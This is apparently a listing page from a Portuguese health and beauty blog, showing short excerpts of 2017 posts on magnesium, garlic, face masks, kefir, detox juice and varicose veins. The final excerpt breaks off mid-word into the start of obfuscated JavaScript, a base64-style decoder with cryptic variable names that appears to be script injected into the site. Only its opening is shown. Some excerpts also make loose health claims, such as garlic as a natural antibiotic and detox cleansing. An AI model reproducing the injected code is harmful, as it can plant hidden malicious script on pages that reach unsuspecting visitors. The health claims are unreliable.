Jun 8, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis – 10 benefícios do magnésio Já sabe que adoro dar-lhe dicas saudáveis e, numa dieta equilibrada, não pode faltar o magnésio! Este nutriente, além de poder ser consumido através de suplementos alimentares, pode ser encontrado nalguns alimentos...
Jun 8, 2017 | Dicas úteis
10 usos surpreendentes do alho Um dos alimentos que não pode faltar na minha despensa é o alho. É muito, muito importante, e não pense que serve apenas para dar tempero à comida. Além das propriedades nutricionais, o alho é um óptimo antibiótico natural que é mais...
Jun 2, 2017 | Estilo e beleza
3 máscaras caseiras para mimar a sua pele A nossa pele é o nosso cartão de visita! É importante cuidá-la e mimá-la devidamente. Hoje trago-lhe receitas de máscaras caseiras que você próprio pode fazer em casa com ingredientes acessíveis a todas as carteiras. É...
Jun 1, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis – 6 benefícios do kefir para a sua saúde Há muitas pessoas que querem perder peso mas não conseguem. Têm sido publicados muitos estudos acerca desta temática e há cada vez mais especialistas que coincidem na ideia de que a flora intestinal é...
Mai 15, 2017 | Equilíbrio, Receitas, Saúde e bem estar
Sumo detox de couve para ajudar a emagrecer Hoje trago-lhe uma receita de um sumo detox de couve para ajudar a emagrecer. E nada melhor que um sumo rico em fibras e vitaminas para começar o seu dia, verdade? Este detox vai ajudá-lo a limpar o organismo...
Abr 29, 2017 | Saúde e bem estar
Os 10 alimentos que nos mantêm mais jovens O segredo de uma pele jovem e bonita não passa apenas por cuidados de beleza que temos com o nosso rosto. A saúde da nossa pele e do nosso corpo começa primeiramente pela alimentação e por aquilo que ingerimos...
Abr 27, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis -10 Benefícios da vitamina A Faço questão de lhe dar dicas saudáveis. Hoje venho falar-lhe do benefícios da vitamina A. Sabe em que alimentos é que a pode encontrar? Eu ajudo! A vitamina A encontra-se nos óleos de fígado de peixe, em suplementos,...
Abr 1, 2017 | Apanhados na rede, Olha que giro
Saiba como aproveitar as cascas de legumes e fruta “Nada se perde, tudo se transforma” é uma velha máxima que ouvimos desde os tempos da escola e que se aplica a praticamente todas as áreas e saberes. Mas hoje falo-lhe de algo que talvez nunca tenha...
Mar 23, 2017 | Dicas úteis, Estilo e beleza
5 razões para usar gelo no rosto ao acordar Hoje trago-lhe um segredo de beleza milenar: passar gelo no rosto ao acordar, todas as manhãs. Quem diria que com apenas um ingrediente barato e acessível a todos, conseguiríamos obter tantos benefícios fantásticos...
Mar 10, 2017 | Dicas úteis, Faça você mesmo
10 maneiras de prevenir as varizes As varizes, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
